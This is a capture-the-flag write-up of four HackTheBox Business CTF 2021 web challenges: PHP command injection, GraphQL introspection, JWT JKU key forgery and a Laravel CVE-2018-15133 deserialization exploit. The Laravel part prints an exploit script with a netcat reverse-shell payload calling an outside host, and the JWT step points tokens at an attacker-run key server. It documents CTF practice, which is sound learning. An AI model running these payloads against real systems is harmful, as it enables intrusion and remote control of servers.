HTB Business CTF 2021 Web Challenges Writeup

Jeremyah Joel
6 min readAug 8, 2021

Hi everyone!

It's been a while since my last story! I miss writing here!

Long story short, our team manages to solve 30 out of 44 challenges and get #13th Place out of 374 Companies Worldwide, #4 in Asia, and #1 in Indonesia! It was a really exciting and tight competition!

In the follow-up meeting with HackTheBox Team, they told us that around 53% of the participants are security consulting companies, 25% are finance (such as big 4) and banking companies, and the rest are e-commerce, gaming, entertainment, and chemical — gas companies. We even met the ExpressVPN Security team!

A chart from HTB Team-VPSI Presentation

The Web Challenges

There are four challenges in the Web Category; some are pretty straightforward. The challenge is similar to other CTF competition challenges, and the writeup is publicly available. I will make this writeup as simple as possible :)

1. Time

Time is a white box challenge, and a given source code can be easily used to trace the deserialization process to find a possible vulnerability.

And when I tried to follow the input-output process, I found there is a remote command execution!

class TimeModel

{

public function __construct($format)

{

$this->command = “date ‘+” . $format . “‘ 2>&1”;

}

public function getTime()

{

$time = exec($this->command);

$res = isset($time) ? $time : ‘?’;

return $res;

}

}

To play with this insecure programming practice, we can easily inject another '(single quote) followed by command chaining operation such as && or || or; or | anything will work like a charm!

Input : ‘|cat /flag’

Final Request :“date ‘+” ‘|cat /flag’ “‘ 2>&1”;

We got the flag!

Time Flag

2. NoteQL

We are given a target URL and IP without source code; at initial enumeration, we can see that the site is continuously requesting a query to graphql. We can use burp to introspect the request being sent to the graphql.

A captured request to graphql

We can see that the request contains a query. We can easily use an introspection request to learn more about the schema and queries it supports.

{“query”:”query IntrospectionQuery {\n __schema {\n queryType { name }\n mutationType { name }\n subscriptionType { name }\n types {\n …FullType\n }\n directives {\n name\n description\n locations\n args {\n …InputValue\n }\n }\n }\n }\n\n fragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n …InputValue\n }\n type {\n …TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n …InputValue\n }\n interfaces {\n …TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n …TypeRef\n }\n }\n\n fragment InputValue on __InputValue {\n name\n description\n type { …TypeRef }\n defaultValue\n }\n\n fragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n }\n }\n }\n }\n }”,”variables”:{“filter”:{“name”:””}},”operationName”:”IntrospectionQuery”}

After sending this request, we get a return consisting of the full database scheme, the existing function, and other information. We can see that there is a function called "AllNotes."

Introspection Request

We got the flag after sending the "AllNotes" function instead of "MyNotes", we got the flag!

Sending AllNotes Function

3. Emergency

In this challenge, we're given a website that uses JWT Token. We can register our account in the enum process and see how the site parses the JWT Token.

Register Page

When we logged in as a newly registered user, we got a message, "Login as admin to see flag here". I tried to decode the JWT Token using https://jwt.io/ and realized that the JWT Token contains "JKU" information which reveals http://46.101.23.188:30202/.well-known/jwks.json.

At this point, I know that we can manipulate the JKU values and create our public and private keys! We can use ssh-keygen to create our keys. We can follow https://gist.github.com/ygotthilf/baa58da5c3dd1f69fae9 for a step-by-step process in producing private and public keys.

After we have our keys pair, we need to create our own jwks file. First, to produce our jwks, we need to extract e and n information from our forged keys. The server will verify the integrity of each token by checking the e and n values of both the JWT token and jwks files. We can use https://github.com/Ganapati/RsaCtfTool to help us. After getting the e and n values, we got all the information we needed to forge our own jwks file!

The next step is to forge our JWT Token by replacing the http://localhost/.well-known/jwks.json with http://103.56.148.204:8080/.well-known/jwks.json and username to admin!

We got the flag!

HTB{your_JWTS_4r3_cl41m3d!!}

4. LaraBlog

LaraBlog

We are given a web server target that exposes their Nginx configuration in this challenge. In the initial enum process, we can easily identify an "off by slash" that happens when there is a missing backslash after a directory location, allowing us to take advantage of the misconfiguration to read any files we want inside the larablog directory.

Off By Slash Vuln

The first thing we did was read the .env file that exposes the APP Key, and we were also able to read composer.json, which tells us that this blog is running Laravel 5.5.4*, which is well known for the RCE6 vulnerability.

Unfortunately, when we tried to use public exploits for CVE-2018–15133 which posted our payload as X-XSRF-TOKEN, it didn't work as the Laravel configuration forbade the post method. However, we quickly realized that a random-named token keeps changing and shows a similar form as the X-XSRF-TOKEN. We then tried to inject this token and get a hit!

1. Our payload is file_get_content(‘http://103.56.148.204:8000/’)

2. We use phpggc to generate and encode our payload to base64

3. We use CVE-2018–15133 to combine our encoded payload and API KEY

The payload crafting process

To automate this process, we can use this amazing script from truesec post

<?php

$cipher = ‘AES-256-CBC’;

$app_key = ‘base64:o3x7z4WPAnC11a+eP0jr5sLkIe307xBtxOzUr/ekYcg=’;

$chain_name = ‘Laravel/RCE6’;

$payload = ‘system(\’rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 103.56.148.204 7477 >/tmp/f\’);’;

// Use PHPGGC to generate the gadget chain

$chain = shell_exec(‘./phpggc/phpggc ‘.$chain_name.’ “‘.$payload.’”’);

// Key can be stored as base64 or string.

if( explode(“:”, $app_key)[0] === ‘base64’ ) {

$app_key = base64_decode(explode(‘:’, $app_key)[1]);

}

// Create cookie

$iv = random_bytes(openssl_cipher_iv_length($cipher));

$value = \openssl_encrypt($chain, $cipher, $app_key, 0, $iv);

$iv = base64_encode($iv);

$mac = hash_hmac(‘sha256’, $iv.$value, $app_key);

$json = json_encode(compact(‘iv’, ‘value’, ‘mac’));

// Print the results

die(urlencode(base64_encode($json)));

After we have crafted our payload, we can try to inject it into the random-named token. The first request is a trial using file_get_contents to see if we got a hit, and the second is a full reverse shell payload. We got a hit, and it's a reverse shell! Got The Flag!

The trial using file_get_contents
The reverse shell and flag

It was the most exciting weekend I've ever had!

My Certificate!

I am grateful to be able to participate in this amazing competition. I can tell that good teamwork and communication are the most important factors that bring us here! “Gotong Royong” as a Culture!

--

--

Jeremyah Joel

Product Security at Ministry of Education, Culture, Research, and Technology of Indonesia